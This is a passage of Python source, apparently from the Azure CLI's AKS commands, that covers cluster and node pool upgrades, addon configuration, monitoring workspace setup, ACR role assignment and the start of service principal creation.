_populate_api_server_access_profile(api_server_authorized_ip_ranges, instance=instance) if enable_aad: if instance.aad_profile is not None and instance.aad_profile.managed: raise CLIError('Cannot specify "--enable-aad" if managed AAD is already enabled') instance.aad_profile = ManagedClusterAADProfile( managed=True ) if update_aad_profile: if instance.aad_profile is None or not instance.aad_profile.managed: raise CLIError('Cannot specify "--aad-tenant-id/--aad-admin-group-object-ids"' ' if managed AAD is not enabled') if aad_tenant_id is not None: instance.aad_profile.tenant_id = aad_tenant_id if aad_admin_group_object_ids is not None: instance.aad_profile.admin_group_object_ids = _parse_comma_separated_list(aad_admin_group_object_ids) if enable_ahub and disable_ahub: raise CLIError('Cannot specify "--enable-ahub" and "--disable-ahub" at the same time') if enable_ahub: instance.windows_profile.license_type = 'Windows_Server' if disable_ahub: instance.windows_profile.license_type = 'None' return sdk_no_wait(no_wait, client.create_or_update, resource_group_name, name, instance) # pylint: disable=unused-argument,inconsistent-return-statements,too-many-return-statements def aks_upgrade(cmd, client, resource_group_name, name, kubernetes_version='', control_plane_only=False, node_image_only=False, no_wait=False, yes=False): msg = 'Kubernetes may be unavailable during cluster upgrades.\n Are you sure you want to perform this operation?' if not yes and not prompt_y_n(msg, default="n"): return None instance = client.get(resource_group_name, name) vmas_cluster = False for agent_profile in instance.agent_pool_profiles: if agent_profile.type.lower() == "availabilityset": vmas_cluster = True break if kubernetes_version != '' and node_image_only: raise CLIError('Conflicting flags. Upgrading the Kubernetes version will also upgrade node image version. ' 'If you only want to upgrade the node version please use the "--node-image-only" option only.') if node_image_only: msg = "This node image upgrade operation will run across every node pool in the cluster" \ "and might take a while, do you wish to continue?" if not yes and not prompt_y_n(msg, default="n"): return None # This only provide convenience for customer at client side so they can run az aks upgrade to upgrade all # nodepools of a cluster. The SDK only support upgrade single nodepool at a time. for agent_pool_profile in instance.agent_pool_profiles: if vmas_cluster: raise CLIError('This cluster is not using VirtualMachineScaleSets. Node image upgrade only operation ' 'can only be applied on VirtualMachineScaleSets cluster.') _upgrade_single_nodepool_image_version(True, client, resource_group_name, name, agent_pool_profile.name) mc = client.get(resource_group_name, name) return _remove_nulls([mc])[0] if instance.kubernetes_version == kubernetes_version: if instance.provisioning_state == "Succeeded": logger.warning("The cluster is already on version %s and is not in a failed state. No operations " "will occur when upgrading to the same version if the cluster is not in a failed state.", instance.kubernetes_version) elif instance.provisioning_state == "Failed": logger.warning("Cluster currently in failed state. Proceeding with upgrade to existing version %s to " "attempt resolution of failed cluster state.", instance.kubernetes_version) upgrade_all = False instance.kubernetes_version = kubernetes_version # for legacy clusters, we always upgrade node pools with CCP. if instance.max_agent_pools < 8 or vmas_cluster: if control_plane_only: msg = ("Legacy clusters do not support control plane only upgrade. All node pools will be " "upgraded to {} as well. Continue?").format(instance.kubernetes_version) if not yes and not prompt_y_n(msg, default="n"): return None upgrade_all = True else: if not control_plane_only: msg = ("Since control-plane-only argument is not specified, this will upgrade the control plane " "AND all nodepools to version {}. Continue?").format(instance.kubernetes_version) if not yes and not prompt_y_n(msg, default="n"): return None upgrade_all = True else: msg = ("Since control-plane-only argument is specified, this will upgrade only the control plane to {}. " "Node pool will not change. Continue?").format(instance.kubernetes_version) if not yes and not prompt_y_n(msg, default="n"): return None if upgrade_all: for agent_profile in instance.agent_pool_profiles: agent_profile.orchestrator_version = kubernetes_version # null out the SP and AAD profile because otherwise validation complains instance.service_principal_profile = None instance.aad_profile = None return sdk_no_wait(no_wait, client.create_or_update, resource_group_name, name, instance) def _upgrade_single_nodepool_image_version(no_wait, client, resource_group_name, cluster_name, nodepool_name): return sdk_no_wait(no_wait, client.upgrade_node_image_version, resource_group_name, cluster_name, nodepool_name) DEV_SPACES_EXTENSION_NAME = 'dev-spaces' DEV_SPACES_EXTENSION_MODULE = 'azext_dev_spaces.custom' def aks_use_dev_spaces(cmd, client, name, resource_group_name, update=False, space_name=None, endpoint_type='Public', prompt=False): """ Use Azure Dev Spaces with a managed Kubernetes cluster. :param name: Name of the managed cluster. :type name: String :param resource_group_name: Name of resource group. You can configure the default group. \ Using 'az configure --defaults group=<name>'. :type resource_group_name: String :param update: Update to the latest Azure Dev Spaces client components. :type update: bool :param space_name: Name of the new or existing dev space to select. Defaults to an \ interactive selection experience. :type space_name: String :param endpoint_type: The endpoint type to be used for a Azure Dev Spaces controller. \ See https://aka.ms/azds-networking for more information. :type endpoint_type: String :param prompt: Do not prompt for confirmation. Requires --space. :type prompt: bool """ if _get_or_add_extension(cmd, DEV_SPACES_EXTENSION_NAME, DEV_SPACES_EXTENSION_MODULE, update): azext_custom = _get_azext_module(DEV_SPACES_EXTENSION_NAME, DEV_SPACES_EXTENSION_MODULE) try: azext_custom.ads_use_dev_spaces(name, resource_group_name, update, space_name, endpoint_type, prompt) except TypeError: raise CLIError("Use '--update' option to get the latest Azure Dev Spaces client components.") except AttributeError as ae: raise CLIError(ae) def aks_remove_dev_spaces(cmd, client, name, resource_group_name, prompt=False): """ Remove Azure Dev Spaces from a managed Kubernetes cluster. :param name: Name of the managed cluster. :type name: String :param resource_group_name: Name of resource group. You can configure the default group. \ Using 'az configure --defaults group=<name>'. :type resource_group_name: String :param prompt: Do not prompt for confirmation. :type prompt: bool """ if _get_or_add_extension(cmd, DEV_SPACES_EXTENSION_NAME, DEV_SPACES_EXTENSION_MODULE): azext_custom = _get_azext_module(DEV_SPACES_EXTENSION_NAME, DEV_SPACES_EXTENSION_MODULE) try: azext_custom.ads_remove_dev_spaces(name, resource_group_name, prompt) except AttributeError as ae: raise CLIError(ae) def aks_rotate_certs(cmd, client, resource_group_name, name, no_wait=True): return sdk_no_wait(no_wait, client.rotate_cluster_certificates, resource_group_name, name) def _update_addons(cmd, instance, subscription_id, resource_group_name, name, addons, enable, workspace_resource_id=None, subnet_name=None, appgw_name=None, appgw_subnet_cidr=None, appgw_id=None, appgw_subnet_id=None, appgw_watch_namespace=None, no_wait=False): # parse the comma-separated addons argument addon_args = addons.split(',') addon_profiles = instance.addon_profiles or {} os_type = 'Linux' # for each addons argument for addon_arg in addon_args: if addon_arg not in ADDONS: raise CLIError("Invalid addon name: {}.".format(addon_arg)) addon = ADDONS[addon_arg] if addon == CONST_VIRTUAL_NODE_ADDON_NAME: # only linux is supported for now, in the future this will be a user flag addon += os_type # honor addon names defined in Azure CLI for key in list(addon_profiles): if key.lower() == addon.lower() and key != addon: addon_profiles[addon] = addon_profiles.pop(key) if enable: # add new addons or update existing ones and enable them addon_profile = addon_profiles.get(addon, ManagedClusterAddonProfile(enabled=False)) # special config handling for certain addons if addon == CONST_MONITORING_ADDON_NAME: if addon_profile.enabled: raise CLIError('The monitoring addon is already enabled for this managed cluster.\n' 'To change monitoring configuration, run "az aks disable-addons -a monitoring"' 'before enabling it again.') if not workspace_resource_id: workspace_resource_id = _ensure_default_log_analytics_workspace_for_monitoring( cmd, subscription_id, resource_group_name) workspace_resource_id = workspace_resource_id.strip() if not workspace_resource_id.startswith('/'): workspace_resource_id = '/' + workspace_resource_id if workspace_resource_id.endswith('/'): workspace_resource_id = workspace_resource_id.rstrip('/') addon_profile.config = {CONST_MONITORING_LOG_ANALYTICS_WORKSPACE_RESOURCE_ID: workspace_resource_id} elif addon == (CONST_VIRTUAL_NODE_ADDON_NAME + os_type): if addon_profile.enabled: raise CLIError('The virtual-node addon is already enabled for this managed cluster.\n' 'To change virtual-node configuration, run ' '"az aks disable-addons -a virtual-node -g {resource_group_name}" ' 'before enabling it again.') if not subnet_name: raise CLIError('The aci-connector addon requires setting a subnet name.') addon_profile.config = {CONST_VIRTUAL_NODE_SUBNET_NAME: subnet_name} elif addon == CONST_INGRESS_APPGW_ADDON_NAME: if addon_profile.enabled: raise CLIError('The ingress-appgw addon is already enabled for this managed cluster.\n' 'To change ingress-appgw configuration, run ' f'"az aks disable-addons -a ingress-appgw -n {name} -g {resource_group_name}" ' 'before enabling it again.') addon_profile = ManagedClusterAddonProfile(enabled=True, config={}) if appgw_name is not None: addon_profile.config[CONST_INGRESS_APPGW_APPLICATION_GATEWAY_NAME] = appgw_name if appgw_subnet_cidr is not None: addon_profile.config[CONST_INGRESS_APPGW_SUBNET_CIDR] = appgw_subnet_cidr if appgw_id is not None: addon_profile.config[CONST_INGRESS_APPGW_APPLICATION_GATEWAY_ID] = appgw_id if appgw_subnet_id is not None: addon_profile.config[CONST_INGRESS_APPGW_SUBNET_ID] = appgw_subnet_id if appgw_watch_namespace is not None: addon_profile.config[CONST_INGRESS_APPGW_WATCH_NAMESPACE] = appgw_watch_namespace addon_profiles[addon] = addon_profile else: if addon not in addon_profiles: if addon == CONST_KUBE_DASHBOARD_ADDON_NAME: addon_profiles[addon] = ManagedClusterAddonProfile(enabled=False) else: raise CLIError("The addon {} is not installed.".format(addon)) addon_profiles[addon].config = None addon_profiles[addon].enabled = enable instance.addon_profiles = addon_profiles # null out the SP and AAD profile because otherwise validation complains instance.service_principal_profile = None instance.aad_profile = None return instance def _get_azext_module(extension_name, module_name): try: # Adding the installed extension in the path from azure.cli.core.extension.operations import add_extension_to_path add_extension_to_path(extension_name) # Import the extension module from importlib import import_module azext_custom = import_module(module_name) return azext_custom except ImportError as ie: raise CLIError(ie) def _handle_addons_args(cmd, addons_str, subscription_id, resource_group_name, addon_profiles=None, workspace_resource_id=None, aci_subnet_name=None, vnet_subnet_id=None, appgw_name=None, appgw_subnet_cidr=None, appgw_id=None, appgw_subnet_id=None, appgw_watch_namespace=None): if not addon_profiles: addon_profiles = {} addons = addons_str.split(',') if addons_str else [] if 'http_application_routing' in addons: addon_profiles[CONST_HTTP_APPLICATION_ROUTING_ADDON_NAME] = ManagedClusterAddonProfile(enabled=True) addons.remove('http_application_routing') if 'kube-dashboard' in addons: addon_profiles[CONST_KUBE_DASHBOARD_ADDON_NAME] = ManagedClusterAddonProfile(enabled=True) addons.remove('kube-dashboard') # TODO: can we help the user find a workspace resource ID? if 'monitoring' in addons: if not workspace_resource_id: # use default workspace if exists else create default workspace workspace_resource_id = _ensure_default_log_analytics_workspace_for_monitoring( cmd, subscription_id, resource_group_name) workspace_resource_id = workspace_resource_id.strip() if not workspace_resource_id.startswith('/'): workspace_resource_id = '/' + workspace_resource_id if workspace_resource_id.endswith('/'): workspace_resource_id = workspace_resource_id.rstrip('/') addon_profiles[CONST_MONITORING_ADDON_NAME] = ManagedClusterAddonProfile( enabled=True, config={CONST_MONITORING_LOG_ANALYTICS_WORKSPACE_RESOURCE_ID: workspace_resource_id}) addons.remove('monitoring') # error out if '--enable-addons=monitoring' isn't set but workspace_resource_id is elif workspace_resource_id: raise CLIError('"--workspace-resource-id" requires "--enable-addons monitoring".') if 'azure-policy' in addons: addon_profiles[CONST_AZURE_POLICY_ADDON_NAME] = ManagedClusterAddonProfile(enabled=True) addons.remove('azure-policy') if 'virtual-node' in addons: if not aci_subnet_name or not vnet_subnet_id: raise CLIError('"--enable-addons virtual-node" requires "--aci-subnet-name" and "--vnet-subnet-id".') # TODO: how about aciConnectorwindows, what is its addon name? os_type = 'Linux' addon_profiles[CONST_VIRTUAL_NODE_ADDON_NAME + os_type] = ManagedClusterAddonProfile( enabled=True, config={CONST_VIRTUAL_NODE_SUBNET_NAME: aci_subnet_name} ) addons.remove('virtual-node') if 'ingress-appgw' in addons: addon_profile = ManagedClusterAddonProfile(enabled=True, config={}) if appgw_name is not None: addon_profile.config[CONST_INGRESS_APPGW_APPLICATION_GATEWAY_NAME] = appgw_name if appgw_subnet_cidr is not None: addon_profile.config[CONST_INGRESS_APPGW_SUBNET_CIDR] = appgw_subnet_cidr if appgw_id is not None: addon_profile.config[CONST_INGRESS_APPGW_APPLICATION_GATEWAY_ID] = appgw_id if appgw_subnet_id is not None: addon_profile.config[CONST_INGRESS_APPGW_SUBNET_ID] = appgw_subnet_id if appgw_watch_namespace is not None: addon_profile.config[CONST_INGRESS_APPGW_WATCH_NAMESPACE] = appgw_watch_namespace addon_profiles[CONST_INGRESS_APPGW_ADDON_NAME] = addon_profile addons.remove('ingress-appgw') # error out if any (unrecognized) addons remain if addons: raise CLIError('"{}" {} not recognized by the --enable-addons argument.'.format( ",".join(addons), "are" if len(addons) > 1 else "is")) return addon_profiles def _install_dev_spaces_extension(cmd, extension_name): try: from azure.cli.core.extension import operations operations.add_extension(cmd=cmd, extension_name=extension_name) except Exception: # nopa pylint: disable=broad-except return False return True def _update_dev_spaces_extension(cmd, extension_name, extension_module): from azure.cli.core.extension import ExtensionNotInstalledException try: from azure.cli.core.extension import operations operations.update_extension(cmd=cmd, extension_name=extension_name) operations.reload_extension(extension_name=extension_name) except CLIError as err: logger.info(err) except ExtensionNotInstalledException as err: logger.debug(err) return False except ModuleNotFoundError as err: logger.debug(err) logger.error("Error occurred attempting to load the extension module. Use --debug for more information.") return False return True def _get_or_add_extension(cmd, extension_name, extension_module, update=False): from azure.cli.core.extension import (ExtensionNotInstalledException, get_extension) try: get_extension(extension_name) if update: return _update_dev_spaces_extension(cmd, extension_name, extension_module) except ExtensionNotInstalledException: return _install_dev_spaces_extension(cmd, extension_name) return True def _ensure_default_log_analytics_workspace_for_monitoring(cmd, subscription_id, resource_group_name): # mapping for azure public cloud # log analytics workspaces cannot be created in WCUS region due to capacity limits # so mapped to EUS per discussion with log analytics team AzureCloudLocationToOmsRegionCodeMap = { "southcentralus": "SCUS", "uksouth": "SUK", "southeastasia": "SEA", "westeurope": "WEU", "eastus": "EUS", "australiaeast": "EAU", "eastus2": "EUS2", "northeurope": "NEU", "japaneast": "EJP", "brazilsouth": "CQ", "centralus": "CUS", "norwayeast": "NOE", "chinaeast2": "CNE2", "eastasia": "EA", "switzerlandnorth": "CHN", "southafricanorth": "JNB", "francecentral": "PAR", "northcentralus": "NCUS", "westus": "WUS", "westus2": "WUS2", "centralindia": "CIN", "koreacentral": "SE", "uaenorth": "DXB", "germanywestcentral": "DEWC", "usgovvirginia": "USGV", "canadacentral": "CAC", "usgovarizona": "PHX", "ukwest": "WUK", "australiasoutheast": "SEAU", "westcentralus": "EUS", "switzerlandwest": "CHW", "australiacentral": "CAU", "uaecentral": "AUH", "eastus2euap": "EASTUS2EUAP", "brazilsoutheast": "BRSE" } AzureCloudRegionToOmsRegionMap = { "southcentralus": "southcentralus", "uksouth": "uksouth", "southeastasia": "southeastasia", "westeurope": "westeurope", "eastus": "eastus", "australiaeast": "australiaeast", "eastus2": "eastus2", "northeurope": "northeurope", "japaneast": "japaneast", "brazilsouth": "brazilsouth", "centralus": "centralus", "norwayeast": "norwayeast", "chinaeast2": "chinaeast2", "eastasia": "eastasia", "switzerlandnorth": "switzerlandnorth", "southafricanorth": "southafricanorth", "francecentral": "francecentral", "northcentralus": "northcentralus", "westus": "westus", "westus2": "westus2", "centralindia": "centralindia", "koreacentral": "koreacentral", "uaenorth": "uaenorth", "germanywestcentral": "germanywestcentral", "usgovvirginia": "usgovvirginia", "canadacentral": "canadacentral", "usgovarizona": "usgovarizona", "ukwest": "ukwest", "australiasoutheast": "australiasoutheast", "westcentralus": "eastus", "switzerlandwest": "switzerlandwest", "australiacentral": "australiacentral", "uaecentral": "uaecentral", "eastus2euap": "eastus2euap", "brazilsoutheast": "brazilsoutheast", "southafricawest": "southafricanorth", "westindia": "centralindia", "chinaeast": "chinaeast2", "chinanorth": "chinaeast2", "australiacentral2": "australiacentral", "norwaywest": "norwayeast", "germanynorth": "germanywestcentral", "southindia": "centralindia", "koreasouth": "koreacentral", "chinanorth2": "chinaeast2", "francesouth": "francecentral", "canadaeast": "canadacentral", "usgovtexas": "usgovvirginia", "japanwest": "japaneast" } # mapping for azure china cloud # currently log analytics supported only China East 2 region AzureChinaLocationToOmsRegionCodeMap = { "chinaeast": "EAST2", "chinaeast2": "EAST2", "chinanorth": "EAST2", "chinanorth2": "EAST2" } AzureChinaRegionToOmsRegionMap = { "chinaeast": "chinaeast2", "chinaeast2": "chinaeast2", "chinanorth": "chinaeast2", "chinanorth2": "chinaeast2" } # mapping for azure us governmner cloud AzureFairfaxLocationToOmsRegionCodeMap = { "usgovvirginia": "USGV" } AzureFairfaxRegionToOmsRegionMap = { "usgovvirginia": "usgovvirginia" } rg_location = _get_rg_location(cmd.cli_ctx, resource_group_name) cloud_name = cmd.cli_ctx.cloud.name workspace_region = "eastus" workspace_region_code = "EUS" # sanity check that locations and clouds match. if ((cloud_name.lower() == 'azurecloud' and AzureChinaRegionToOmsRegionMap.get(rg_location, False)) or (cloud_name.lower() == 'azurecloud' and AzureFairfaxRegionToOmsRegionMap.get(rg_location, False))): raise CLIError('Wrong cloud (azurecloud) setting for region {}, please use "az cloud set ..."' .format(rg_location)) if ((cloud_name.lower() == 'azurechinacloud' and AzureCloudRegionToOmsRegionMap.get(rg_location, False)) or (cloud_name.lower() == 'azurechinacloud' and AzureFairfaxRegionToOmsRegionMap.get(rg_location, False))): raise CLIError('Wrong cloud (azurechinacloud) setting for region {}, please use "az cloud set ..."' .format(rg_location)) if ((cloud_name.lower() == 'azureusgovernment' and AzureCloudRegionToOmsRegionMap.get(rg_location, False)) or (cloud_name.lower() == 'azureusgovernment' and AzureChinaRegionToOmsRegionMap.get(rg_location, False))): raise CLIError('Wrong cloud (azureusgovernment) setting for region {}, please use "az cloud set ..."' .format(rg_location)) if cloud_name.lower() == 'azurecloud': workspace_region = AzureCloudRegionToOmsRegionMap.get(rg_location, "eastus") workspace_region_code = AzureCloudLocationToOmsRegionCodeMap.get(workspace_region, "EUS") elif cloud_name.lower() == 'azurechinacloud': workspace_region = AzureChinaRegionToOmsRegionMap.get(rg_location, "chinaeast2") workspace_region_code = AzureChinaLocationToOmsRegionCodeMap.get(workspace_region, "EAST2") elif cloud_name.lower() == 'azureusgovernment': workspace_region = AzureFairfaxRegionToOmsRegionMap.get(rg_location, "usgovvirginia") workspace_region_code = AzureFairfaxLocationToOmsRegionCodeMap.get(workspace_region, "USGV") else: workspace_region = rg_location workspace_region_code = rg_location.upper() default_workspace_resource_group = 'DefaultResourceGroup-' + workspace_region_code default_workspace_name = 'DefaultWorkspace-{0}-{1}'.format(subscription_id, workspace_region_code) default_workspace_resource_id = '/subscriptions/{0}/resourceGroups/{1}/providers/Microsoft.OperationalInsights' \ '/workspaces/{2}'.format(subscription_id, default_workspace_resource_group, default_workspace_name) resource_groups = cf_resource_groups(cmd.cli_ctx, subscription_id) resources = cf_resources(cmd.cli_ctx, subscription_id) # check if default RG exists if resource_groups.check_existence(default_workspace_resource_group): try: resource = resources.get_by_id(default_workspace_resource_id, '2015-11-01-preview') return resource.id except CloudError as ex: if ex.status_code != 404: raise ex else: resource_groups.create_or_update(default_workspace_resource_group, {'location': workspace_region}) default_workspace_params = { 'location': workspace_region, 'properties': { 'sku': { 'name': 'standalone' } } } async_poller = resources.create_or_update_by_id(default_workspace_resource_id, '2015-11-01-preview', default_workspace_params) ws_resource_id = '' while True: result = async_poller.result(15) if async_poller.done(): ws_resource_id = result.id break return ws_resource_id def _ensure_container_insights_for_monitoring(cmd, addon): # Workaround for this addon key which has been seen lowercased in the wild. for key in list(addon.config): if (key.lower() == CONST_MONITORING_LOG_ANALYTICS_WORKSPACE_RESOURCE_ID.lower() and key != CONST_MONITORING_LOG_ANALYTICS_WORKSPACE_RESOURCE_ID): addon.config[CONST_MONITORING_LOG_ANALYTICS_WORKSPACE_RESOURCE_ID] = addon.config.pop(key) workspace_resource_id = addon.config[CONST_MONITORING_LOG_ANALYTICS_WORKSPACE_RESOURCE_ID] workspace_resource_id = workspace_resource_id.strip() if not workspace_resource_id.startswith('/'): workspace_resource_id = '/' + workspace_resource_id if workspace_resource_id.endswith('/'): workspace_resource_id = workspace_resource_id.rstrip('/') # extract subscription ID and resource group from workspace_resource_id URL try: subscription_id = workspace_resource_id.split('/')[2] resource_group = workspace_resource_id.split('/')[4] except IndexError: raise CLIError('Could not locate resource group in workspace-resource-id URL.') # region of workspace can be different from region of RG so find the location of the workspace_resource_id resources = cf_resources(cmd.cli_ctx, subscription_id) try: resource = resources.get_by_id(workspace_resource_id, '2015-11-01-preview') location = resource.location except CloudError as ex: raise ex unix_time_in_millis = int( (datetime.datetime.utcnow() - datetime.datetime.utcfromtimestamp(0)).total_seconds() * 1000.0) solution_deployment_name = 'ContainerInsights-{}'.format(unix_time_in_millis) # pylint: disable=line-too-long template = { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "workspaceResourceId": { "type": "string", "metadata": { "description": "Azure Monitor Log Analytics Resource ID" } }, "workspaceRegion": { "type": "string", "metadata": { "description": "Azure Monitor Log Analytics workspace region" } }, "solutionDeploymentName": { "type": "string", "metadata": { "description": "Name of the solution deployment" } } }, "resources": [ { "type": "Microsoft.Resources/deployments", "name": "[parameters('solutionDeploymentName')]", "apiVersion": "2017-05-10", "subscriptionId": "[split(parameters('workspaceResourceId'),'/')[2]]", "resourceGroup": "[split(parameters('workspaceResourceId'),'/')[4]]", "properties": { "mode": "Incremental", "template": { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": {}, "variables": {}, "resources": [ { "apiVersion": "2015-11-01-preview", "type": "Microsoft.OperationsManagement/solutions", "location": "[parameters('workspaceRegion')]", "name": "[Concat('ContainerInsights', '(', split(parameters('workspaceResourceId'),'/')[8], ')')]", "properties": { "workspaceResourceId": "[parameters('workspaceResourceId')]" }, "plan": { "name": "[Concat('ContainerInsights', '(', split(parameters('workspaceResourceId'),'/')[8], ')')]", "product": "[Concat('OMSGallery/', 'ContainerInsights')]", "promotionCode": "", "publisher": "Microsoft" } } ] }, "parameters": {} } } ] } params = { "workspaceResourceId": { "value": workspace_resource_id }, "workspaceRegion": { "value": location }, "solutionDeploymentName": { "value": solution_deployment_name } } deployment_name = 'aks-monitoring-{}'.format(unix_time_in_millis) # publish the Container Insights solution to the Log Analytics workspace return _invoke_deployment(cmd, resource_group, deployment_name, template, params, validate=False, no_wait=False, subscription_id=subscription_id) def _ensure_aks_acr(cli_ctx, client_id, acr_name_or_id, subscription_id, detach=False): from msrestazure.tools import is_valid_resource_id, parse_resource_id # Check if the ACR exists by resource ID. if is_valid_resource_id(acr_name_or_id): try: parsed_registry = parse_resource_id(acr_name_or_id) acr_client = cf_container_registry_service(cli_ctx, subscription_id=parsed_registry['subscription']) registry = acr_client.registries.get(parsed_registry['resource_group'], parsed_registry['name']) except CloudError as ex: raise CLIError(ex.message) _ensure_aks_acr_role_assignment(cli_ctx, client_id, registry.id, detach) return # Check if the ACR exists by name accross all resource groups. registry_name = acr_name_or_id registry_resource = 'Microsoft.ContainerRegistry/registries' try: registry = get_resource_by_name(cli_ctx, registry_name, registry_resource) except CloudError as ex: if 'was not found' in ex.message: raise CLIError("ACR {} not found. Have you provided the right ACR name?".format(registry_name)) raise CLIError(ex.message) _ensure_aks_acr_role_assignment(cli_ctx, client_id, registry.id, detach) return def aks_agentpool_show(cmd, client, resource_group_name, cluster_name, nodepool_name): instance = client.get(resource_group_name, cluster_name, nodepool_name) return instance def aks_agentpool_list(cmd, client, resource_group_name, cluster_name): return client.list(resource_group_name, cluster_name) def aks_agentpool_add(cmd, client, resource_group_name, cluster_name, nodepool_name, kubernetes_version=None, zones=None, enable_node_public_ip=False, node_vm_size=None, node_osdisk_type=None, node_osdisk_size=0, node_count=3, vnet_subnet_id=None, ppg=None, max_pods=0, os_type="Linux", min_count=None, max_count=None, enable_cluster_autoscaler=False, node_taints=None, priority=CONST_SCALE_SET_PRIORITY_REGULAR, eviction_policy=CONST_SPOT_EVICTION_POLICY_DELETE, spot_max_price=float('nan'), tags=None, labels=None, max_surge=None, mode="User", no_wait=False): instances = client.list(resource_group_name, cluster_name) for agentpool_profile in instances: if agentpool_profile.name == nodepool_name: raise CLIError("Node pool {} already exists, please try a different name, " "use 'aks nodepool list' to get current list of node pool".format(nodepool_name)) upgradeSettings = AgentPoolUpgradeSettings() taints_array = [] if node_taints is not None: for taint in node_taints.split(','): try: taint = taint.strip() taints_array.append(taint) except ValueError: raise CLIError('Taint does not match allowed values. Expect value such as "special=true:NoSchedule".') if node_vm_size is None: if os_type.lower() == "windows": node_vm_size = "Standard_D2s_v3" else: node_vm_size = "Standard_DS2_v2" if max_surge: upgradeSettings.max_surge = max_surge agent_pool = AgentPool( name=nodepool_name, tags=tags, node_labels=labels, count=int(node_count), vm_size=node_vm_size, os_type=os_type, vnet_subnet_id=vnet_subnet_id, proximity_placement_group_id=ppg, agent_pool_type="VirtualMachineScaleSets", max_pods=int(max_pods) if max_pods else None, orchestrator_version=kubernetes_version, availability_zones=zones, scale_set_priority=priority, enable_node_public_ip=enable_node_public_ip, node_taints=taints_array, upgrade_settings=upgradeSettings, mode=mode ) if priority == CONST_SCALE_SET_PRIORITY_SPOT: agent_pool.scale_set_eviction_policy = eviction_policy if isnan(spot_max_price): spot_max_price = -1 agent_pool.spot_max_price = spot_max_price _check_cluster_autoscaler_flag(enable_cluster_autoscaler, min_count, max_count, node_count, agent_pool) if node_osdisk_size: agent_pool.os_disk_size_gb = int(node_osdisk_size) if node_osdisk_type: agent_pool.os_disk_type = node_osdisk_type return sdk_no_wait(no_wait, client.create_or_update, resource_group_name, cluster_name, nodepool_name, agent_pool) def aks_agentpool_scale(cmd, client, resource_group_name, cluster_name, nodepool_name, node_count=3, no_wait=False): instance = client.get(resource_group_name, cluster_name, nodepool_name) new_node_count = int(node_count) if instance.enable_auto_scaling: raise CLIError("Cannot scale cluster autoscaler enabled node pool.") if new_node_count == instance.count: raise CLIError("The new node count is the same as the current node count.") instance.count = new_node_count # pylint: disable=no-member return sdk_no_wait(no_wait, client.create_or_update, resource_group_name, cluster_name, nodepool_name, instance) def aks_agentpool_upgrade(cmd, client, resource_group_name, cluster_name, nodepool_name, kubernetes_version='', node_image_only=False, max_surge=None, no_wait=False): if kubernetes_version != '' and node_image_only: raise CLIError('Conflicting flags. Upgrading the Kubernetes version will also upgrade node image version.' 'If you only want to upgrade the node version please use the "--node-image-only" option only.') if node_image_only: managed_cluster_client = cf_managed_clusters(cmd.cli_ctx) return _upgrade_single_nodepool_image_version(no_wait, managed_cluster_client, resource_group_name, cluster_name, nodepool_name) instance = client.get(resource_group_name, cluster_name, nodepool_name) instance.orchestrator_version = kubernetes_version if not instance.upgrade_settings: instance.upgrade_settings = AgentPoolUpgradeSettings() if max_surge: instance.upgrade_settings.max_surge = max_surge return sdk_no_wait(no_wait, client.create_or_update, resource_group_name, cluster_name, nodepool_name, instance) def aks_agentpool_update(cmd, client, resource_group_name, cluster_name, nodepool_name, enable_cluster_autoscaler=False, disable_cluster_autoscaler=False, update_cluster_autoscaler=False, min_count=None, max_count=None, tags=None, max_surge=None, mode=None, no_wait=False): update_autoscaler = enable_cluster_autoscaler + disable_cluster_autoscaler + update_cluster_autoscaler if update_autoscaler > 1: raise CLIError('Please specify one of "--enable-cluster-autoscaler" or ' '"--disable-cluster-autoscaler" or ' '"--update-cluster-autoscaler"') if (update_autoscaler == 0 and not tags and not mode and not max_surge): raise CLIError('Please specify one or more of "--enable-cluster-autoscaler" or ' '"--disable-cluster-autoscaler" or ' '"--update-cluster-autoscaler" or ' '"--tags" or "--mode" or "--max-surge"') instance = client.get(resource_group_name, cluster_name, nodepool_name) _validate_autoscaler_update_counts(min_count, max_count, enable_cluster_autoscaler or update_cluster_autoscaler) if enable_cluster_autoscaler: if instance.enable_auto_scaling: logger.warning('Autoscaler is already enabled for this node pool.\n' 'Please run "az aks nodepool update --update-cluster-autoscaler" ' 'if you want to update min-count or max-count.') return None instance.min_count = int(min_count) instance.max_count = int(max_count) instance.enable_auto_scaling = True if update_cluster_autoscaler: if not instance.enable_auto_scaling: raise CLIError('Autoscaler is not enabled for this node pool.\n' 'Run "az aks nodepool update --enable-cluster-autoscaler" ' 'to enable cluster with min-count and max-count.') instance.min_count = int(min_count) instance.max_count = int(max_count) if not instance.upgrade_settings: instance.upgrade_settings = AgentPoolUpgradeSettings() if max_surge: instance.upgrade_settings.max_surge = max_surge if disable_cluster_autoscaler: if not instance.enable_auto_scaling: logger.warning('Autoscaler is already disabled for this node pool.') return None instance.enable_auto_scaling = False instance.min_count = None instance.max_count = None instance.tags = tags if mode is not None: instance.mode = mode return sdk_no_wait(no_wait, client.create_or_update, resource_group_name, cluster_name, nodepool_name, instance) def aks_agentpool_delete(cmd, client, resource_group_name, cluster_name, nodepool_name, no_wait=False): agentpool_exists = False instances = client.list(resource_group_name, cluster_name) for agentpool_profile in instances: if agentpool_profile.name.lower() == nodepool_name.lower(): agentpool_exists = True break if not agentpool_exists: raise CLIError("Node pool {} doesnt exist, " "use 'aks nodepool list' to get current node pool list".format(nodepool_name)) return sdk_no_wait(no_wait, client.delete, resource_group_name, cluster_name, nodepool_name) def aks_agentpool_get_upgrade_profile(cmd, client, resource_group_name, cluster_name, nodepool_name): return client.get_upgrade_profile(resource_group_name, cluster_name, nodepool_name) def _ensure_aks_acr_role_assignment(cli_ctx, client_id, registry_id, detach=False): if detach: if not _delete_role_assignments(cli_ctx, 'acrpull', client_id, scope=registry_id): raise CLIError('Could not delete role assignments for ACR. ' 'Are you an Owner on this subscription?') return if not _add_role_assignment(cli_ctx, 'acrpull', client_id, scope=registry_id): raise CLIError('Could not create a role assignment for ACR. ' 'Are you an Owner on this subscription?') return def _ensure_aks_service_principal(cli_ctx, service_principal=None, client_secret=None, subscription_id=None, dns_name_prefix=None, location=None, name=None): aad_session_key = None # TODO: This really needs to be unit tested. rbac_client = get_graph_rbac_management_client(cli_ctx) if not service_principal: # --service-principal not specified, make one. if not client_secret: client_secret = _create_client_secret() salt = binascii.b2a_hex(os.urandom(3)).decode('utf-8') url = 'https://{}.{}.{}.cloudapp.azure.com'.format(salt, dns_name_prefix, location) 